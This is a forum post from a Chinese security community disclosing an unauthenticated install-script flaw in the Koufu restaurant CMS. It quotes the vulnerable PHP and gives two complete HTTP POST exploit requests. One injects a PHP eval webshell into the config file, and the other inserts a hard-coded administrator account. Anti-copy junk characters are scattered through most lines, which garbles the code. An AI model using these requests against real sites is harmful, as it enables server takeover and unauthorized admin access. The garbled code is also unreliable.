找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2127|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
- b) l; y+ E: u0 J2 |2 B1 w9 {, L6 E! g6 j' a
<?php$ p# y8 Z0 M3 H6 B0 |( S
if(file_exists("../install.lock"))$ I8 Q3 f7 L# P% N; O2 @& Y' b
{. d, [4 R6 c- C. B+ y  y+ O( q. m
    header("Location: ../");//没有退出
- T$ |9 Z! S$ z. X6 C1 r: ]; g}2 O4 X, n! B% ?' d0 Z: c6 q7 D
                 L' s; G$ p9 n: T( ], s; h$ v* s- T
//echo 'tst';exit;
9 Q+ V( o3 R0 Xrequire_once("init.php");  c0 h2 E) G* R. a
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)$ D. G$ W% z+ A* m& Y# l
{( C6 R! V/ i/ U4 G- x# G/ R
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。$ w. ~1 T( A+ ^
  x& j, C( v6 p2 |
1、getshell(很危险)2 A2 [$ X: |& y1 U5 v
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
# |& Z& d( S& w/ I/ ~0 v* P8 ]{  ?, ~5 H, m+ o
$smarty->assign("step",1);
6 S1 T4 j0 w4 L1 s$smarty->display("index.html");
4 E1 |/ M2 h; O: [. Y: `}elseif($_REQUEST['step']==2)4 P& h" F1 a7 ]( P0 A! v) L
{1 `" f# h4 g7 |: R) j( x' L2 ^& s9 {
    $mysql_host=trim($_POST['mysql_host']);9 m' e# Y6 Y0 k9 }; w/ d
    $mysql_user=trim($_POST['mysql_user']);
$ S! G  Y, V% f/ V' L/ H/ o& Z    $mysql_pwd=trim($_POST['mysql_pwd']);
  w1 s! M( C, X8 ]    $mysql_db=trim($_POST['mysql_db']);
" S( b8 I& w! D1 L    $tblpre=trim($_POST['tblpre']);
3 j, E: \! [$ n" t: ?) u    $domain==trim($_POST['domain']);' V3 C6 C" r5 h* Y
    $str="<?php \r\n";
0 Y! {5 V: x2 p4 J    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
, K+ \  e9 T' g" ?% J! x5 O    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";" r8 \7 K2 x: q; s6 e
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";% h9 a. f$ B6 J' g, q* D7 i7 a
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
& ~9 a8 F2 I9 u. ^    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
8 z  o! M. I0 W" }    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";. g# W+ k  C3 ]1 n5 s7 E
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";. i1 T" Z2 h/ P! p# T# Q
    $str.='define("SKINS","default");'."\r\n";8 R+ x2 ]/ o) Y, f5 L
    $str.='?>';% d- N5 S3 \- B4 z9 ?& m( j
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件* ~& E6 D" E9 B& x% u2 s3 h5 `  ~
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马$ b5 ?# J7 ~) B" n8 L
POST /canting/install/index.php?m=index&step=2 HTTP/1.12 O1 n( L7 {1 {! I7 S3 `5 P
Host: 192.168.80.129" B" P2 I7 X# {, R1 ]
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
9 e) m& w. u/ c" o' c& F. VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8% ?; ?% X6 G7 e
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3) z- i3 m( F/ B- o
Accept-Encoding: gzip, deflate
/ ?8 [; N; W# X+ v) j* C" a/ X8 TReferer: http://192.168.80.129/canting/install/index.php?step=1
  Y- w( j+ G9 h& R- _6 HCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc420 G0 D: W6 }. A. o
Content-Type: application/x-www-form-urlencoded3 d% Q8 s) M6 Q3 }8 j3 h3 B* m: w' h
Content-Length: 126
' M% ]& A$ u  z  |, o3 `          2 w0 v0 e9 J  G
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
/ k" q9 d; B# z7 t  P4 o但是这个方法很危险,将导致网站无法运行。
1 j8 n3 {0 `. J; N6 K0 l  `$ z. u/ ?4 k& a$ c; `7 X# t2 [( a- S
2、直接添加管理员
6 z8 ?! j9 r8 X7 [7 S* F+ n2 t4 a! y2 Q( ]3 z( X- L8 _. \8 ~( M2 ~( T2 {; }/ V
elseif($_REQUEST['step']==5)% P8 K. [- K3 T! u
{* q! M7 N& e: {
    if($_POST)! F& Q) C% z/ d8 A
    {   require_once("../config/config.inc.php");: X! M. P! z, F9 Q; \
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);6 Z% L5 C' l: @$ w4 L
        mysql_select_db(MYSQL_DB,$link);) W0 G5 U2 p! `
        mysql_query("SET NAMES ".MYSQL_CHARSET );
) U9 |* R" t6 l# c# P* L         mysql_query("SET sql_mode=''");# I8 s: M+ m* E. @0 y

5 C$ B; \1 U) t/ l% A2 ~ $adminname=trim($_POST['adminname']);7 X6 c1 s* Y- p9 u5 `+ X
        $pwd1=trim($_POST['pwd1']);
" u9 }; U+ G7 q& }        $pwd2=trim($_POST['pwd2']);+ p* n( Y+ x3 }4 b) z6 i
        if(empty($adminname))
- B% c% C2 v3 q        {  g3 T! G! A% q) ~5 ?
  {4 c6 D: |8 L/ N" r1 I0 H+ J
echo "<script>alert('管理员不能为空');history.go(-1);</script>";: h3 c1 J  V; N  @$ d. U4 K+ }7 O4 }
            exit();
% }. P3 Q, T2 c        }7 m& q! R, g: Q0 K' A! U
        if(($pwd1!=$pwd2) or empty($pwd1))
9 n1 a) ?1 E; P/ _/ \5 ?$ g0 |        {2 [/ C, s9 c4 n+ V- Y
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
% A! j' x0 ?* P: a        }$ [6 J- k$ c  y* t7 a6 q# a
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
2 F/ O4 o+ Z+ b' b+ s3 ~/ _    }
  X/ U6 W9 I5 [这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
( j$ X* ?' J6 Y+ f% O. H5 ]" {POST /canting/install/index.php?m=index&step=5 HTTP/1.1
! s" E+ ?$ W3 u; d5 t+ u! w. cHost: 192.168.80.129
/ ~7 D0 U% ]) ?# B& O. E  j& oUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 h1 B# ~* G% w# T! M* `9 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 B, m! P8 J5 b) nAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3# A6 n- o' {. h
Accept-Encoding: gzip, deflate
0 s0 S3 r  q. ?3 y7 I5 VReferer: http://www.2cto.com /canting/install/index.php?step=1! ?% t8 ?; j( a' @* A
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
, g) `4 G4 \5 O) s2 J) M. f. CContent-Type: application/x-www-form-urlencoded2 M3 i5 X9 D" L$ a2 a9 c# f
Content-Length: 46
9 x/ `! p/ L( Z5 q' v" L      
# I) n9 X+ [& E) fadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
  j9 H4 k6 c/ L3 e0 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表